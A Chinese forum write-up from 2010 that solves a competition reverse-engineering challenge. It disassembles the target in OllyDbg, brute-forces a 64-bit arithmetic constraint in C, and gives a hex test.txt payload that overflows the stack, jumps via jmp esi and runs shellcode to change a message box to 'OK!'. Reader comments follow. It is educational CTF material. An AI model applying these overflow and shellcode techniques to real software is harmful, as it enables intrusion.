某比赛的一个题目分析
本帖最后由 missviola 于 2010-10-5 12:11 编辑【文章标题】: 某比赛的一个题目分析
【文章作者】: missviola
【下载地址】: 附件中有
【使用工具】: OD WinHex VC
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
这几天在做某个比赛的试题,偶有心得,不敢共享,写出来和大家分享分享.
打开题目,只有一个按钮,点击之后提示Failed.试题的要求是通过溢出,将跳出对话框的内容和标题变为OK!.那我们首先用
PEID查下壳吧,显示为Nothing found * ,看看区段,应该没有加壳- -|||.算了,直接用OD载入,查找下字符串看看能不能找
到入手点吧.很幸运看到了这里:
Ultra String Reference, 条目 2
Address=0040038B
Disassembly=push 00400260
Text String=failed!
双击过去在段首下一个断点,运行程序,点击后断下,开始分析:
004002F6/$55 push ebp
004002F7|.8BEC mov ebp, esp
004002F9|.83EC 10 sub esp, 10
004002FC|.56 push esi
004002FD|.57 push edi
004002FE|.33FF xor edi, edi
00400300|.8D4D F0 lea ecx, dword ptr
00400303|.33F6 xor esi, esi
00400305|.897D FC mov dword ptr , edi
00400308|.897D F8 mov dword ptr , edi
0040030B|.E8 60010000 call 00400470
00400310|.68 6C024000 push 0040026C ;test.txt
00400315|.8D4D F0 lea ecx, dword ptr
00400318|.E8 63010000 call 00400480 ;打开文件
0040031D|.85C0 test eax, eax
0040031F|.74 64 je short 00400385
00400321|.8D45 FC lea eax, dword ptr
00400324|.8D4D F0 lea ecx, dword ptr
00400327|.50 push eax
00400328|.E8 D3010000 call 00400500
0040032D|.85C0 test eax, eax
0040032F|.74 54 je short 00400385
00400331|.8B4D FC mov ecx, dword ptr
00400334|.83F9 08 cmp ecx, 8
00400337|.7E 4C jle short 00400385 ;文件长度要大于8
00400339|.B8 00100000 mov eax, 1000
0040033E|.3BC8 cmp ecx, eax
00400340|.7F 43 jg short 00400385 ;文件长度要小于1000
00400342|.6A 40 push 40 ; /Protect = PAGE_EXECUTE_READWRITE
00400344|.41 inc ecx ; |
00400345|.50 push eax ; |AllocationType => MEM_COMMIT
00400346|.51 push ecx ; |Size
00400347|.57 push edi ; |Address
00400348|.FF15 24024000 call dword ptr [<&KERNEL32.VirtualAll>; \VirtualAlloc
0040034E|.8BF0 mov esi, eax
00400350|.3BF7 cmp esi, edi
00400352|.74 31 je short 00400385
00400354|.8D45 F8 lea eax, dword ptr
00400357|.53 push ebx
00400358|.50 push eax
00400359|.56 push esi
0040035A|.FF75 FC push dword ptr
0040035D|.8D4D F0 lea ecx, dword ptr
00400360|.E8 AB010000 call 00400510
00400365|.8D4D F0 lea ecx, dword ptr
00400368|.8BD8 mov ebx, eax
0040036A|.E8 61010000 call 004004D0
0040036F|.3BDF cmp ebx, edi
00400371|.5B pop ebx
00400372|.74 11 je short 00400385
00400374|.8B45 FC mov eax, dword ptr
00400377|.3945 F8 cmp dword ptr , eax
0040037A|.75 09 jnz short 00400385
0040037C|.50 push eax
0040037D|.56 push esi
0040037E|.E8 FDFEFFFF call 00400280 ;关键算法CALL
00400383|.59 pop ecx
00400384|.59 pop ecx
00400385|>57 push edi ; /Style
00400386|.68 68024000 push 00400268 ; |try
0040038B|.68 60024000 push 00400260 ; |failed!
00400390|.57 push edi ; |hOwner
00400391|.FF15 4C024000 call dword ptr [<&USER32.MessageBoxA>>; \MessageBoxA
初步分析程序打开了一个名字为test.txt的文件,然后文件的长度有一些要求.0040037E这里的是关键call,我们构造一个
txt文件然后F7单步进去继续分析 - -||| :
00400280/$55 push ebp
00400281|.8BEC mov ebp, esp
00400283|.83EC 2C sub esp, 2C ;开辟堆栈大小为0x2C
00400286|.8065 D4 00 and byte ptr , 0
0040028A|.56 push esi
0040028B|.57 push edi
0040028C|.6A 0A push 0A
0040028E|.59 pop ecx
0040028F|.33C0 xor eax, eax
00400291|.8D7D D5 lea edi, dword ptr
00400294|.837D 0C 00 cmp dword ptr , 0
00400298|.F3:AB rep stos dword ptr es:
0040029A|.66:AB stos word ptr es:
0040029C|.AA stos byte ptr es:
0040029D|.7C 51 jl short 004002F0
0040029F|.8B75 08 mov esi, dword ptr
004002A2|.68 A802CC78 push 78CC02A8
004002A7|.68 1B8F9469 push 69948F1B
004002AC|.FF76 04 push dword ptr
004002AF|.FF36 push dword ptr
004002B1|.E8 0A030000 call 004005C0 ;进行64位乘法,同0x78CC02A869948F1B相乘
004002B6|.68 82FFE65B push 5BE6FF82
004002BB|.68 854716A5 push A5164785
004002C0|.52 push edx
004002C1|.50 push eax
004002C2|.E8 79020000 call 00400540 ;进行取模运算,同0x58E6FF82A5164785取模
004002C7|.6A 04 push 4
004002C9|.8BCE mov ecx, esi
004002CB|.5F pop edi
004002CC|>8031 1C /xor byte ptr , 1C
004002CF|.8A11 |mov dl, byte ptr
004002D1|.3051 01 |xor byte ptr , dl
004002D4|.41 |inc ecx
004002D5|.41 |inc ecx
004002D6|.4F |dec edi
004002D7|.^ 75 F3 \jnz short 004002CC ;这里的循环又会对前八位byte进行变换
004002D9|.6A 1A push 1A
004002DB|.59 pop ecx
004002DC 2BC8 sub ecx, eax ;0x1A - eax
004002DE|.0FAFC8 imul ecx, eax ;ecx * eax
004002E1|.81E9 9C000000 sub ecx, 9C ;ecx - 9C
004002E7|.85C9 test ecx, ecx
004002E9|.7E 05 jle short 004002F0
004002EB|.8D7D D4 lea edi, dword ptr
004002EE|.F3:A5 rep movs dword ptr es:, dword ptr ;溢出点
004002F0|>5F pop edi
004002F1|.33C0 xor eax, eax
004002F3|.5E pop esi
004002F4|.C9 leave
004002F5\.C3 retn
004002EE这里就是溢出点了,观察下堆栈发现我们需要进行0xD次操作可以覆盖掉返回地址,也就是说此时ecx要等于0x0D,
而ecx的值又是由eax来决定的.我们往上拉,发现之前程序读取了test.txt的前八个字节,进行了两次64位的运算,结果就
存放在eax中.那我们就写一个小程序来穷举一下吧:
#include<iostream.h>
#include <stdio.h>
unsigned int _stdcall l(unsigned int i);
void main()
{
unsigned int value=0;
unsigned int i = 0;
while(1)
{
value=l(i);
if(value==0xA5164792 || value==0x4A2C8F17|| value==0x0000000D)
{
printf("The result is:%08X\n",i);
}
i++;
if(i == 0xFFFFFFFF)
break;
}
printf("Mission Complete!\n");
getchar();
return;
}
unsigned int _stdcall l(unsigned int i)
{
return 0x69948F1B*i;
}
穷举的结果一共有3个:0x3D6365D6,0x8AD397F7,0xEFF333B5.最后一个结果可以使溢出文件最小,我们就选择最后一组吧.
我们发现在关键call返回的时候,esi的内容指向之前virtualalloc函数分配的内存空间地址的首部,所以我们可以在程序
中寻找看看有没有jmp esi这样的语句,这样关键call返回后又会跳到我们临时分配的临时空间执行代码,如果这里我们跟上
我们的shellcode的话,那岂不是,嘿嘿嘿... - -||||
004002B8|?FFE6 jmp esi
所以我们可以把返回地址溢出为004002B8,到这里我们修改下test.txt文件的内容吧:
B5 33 F3 EF 00 8C 00 8C 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
B8 02 40 00
这里的8C经过变换之后会变成90,也就是nop指令啦~
01B60000 A9 9AEF001C test eax, 1C00EF9A
01B60005 90 nop
01B60006 1C 90 sbb al, 90
到这里都是符合我们要求的,下面我们就可以写溢出代码了,注意这里要平衡下ebp,不然溢出后会崩溃:
01C10000 A9 9AEF001C test eax, 1C00EF9A
01C10005 90 nop
01C10006 1C 90 sbb al, 90
01C10008 C705 60024000 4>mov dword ptr , 214B4F
01C10012 C705 68024000 4>mov dword ptr , 214B4F
01C1001C 8D6C24 20 lea ebp, dword ptr ;平衡ebp
01C10020 FF66 23 jmp dword ptr
最终修改的test.txt内容如下:
B5 33 F3 EF 00 8C 00 8C C7 05 60 02 40 00 4F 4B
21 00 C7 05 68 02 40 00 4F 4B 21 00 8D 6C 24 20
FF 66 23 83 03 40 00 00 00 00 00 00 00 00 00 00
B8 02 40
好了,最后到了我们享受成果的时候了,将test.txt文件同程序放在同一目录下,点击按钮,成功溢出了程序!!!
--------------------------------------------------------------------------------
【经验总结】
这个题目出得非常的精彩,溢出的条件要解一个64位的方程,解出来的解又要能作为opcode执行.大家有条件的话,最好动手
操作一下,可以从中学到很多东西.
--------------------------------------------------------------------------------
【版权声明】: 本文原创于52pojie技术论坛, 转载请注明作者并保持文章的完整, 谢谢!
2010年10月05日 12:07:53
前排留名····嘿嘿学习下··· 先收藏了,因水平原因,尚不敢随意阅读,唯恐窥得天机,致走火入魔 这个是好东西,虽然我看不懂。 有点难,不过还是看看 我是来学习的。。。。 大牛的东西 小弟玩不懂 有几个地方需要调试才能明白
value==0xA5164792 || value==0x4A2C8F17 怎么来的?
这里的8C经过变换之后会变成90,变换在哪里,进行什么变换?文章没有说明,也需要调试
需要调试配合文章看 学习下! 学习下 谢谢诶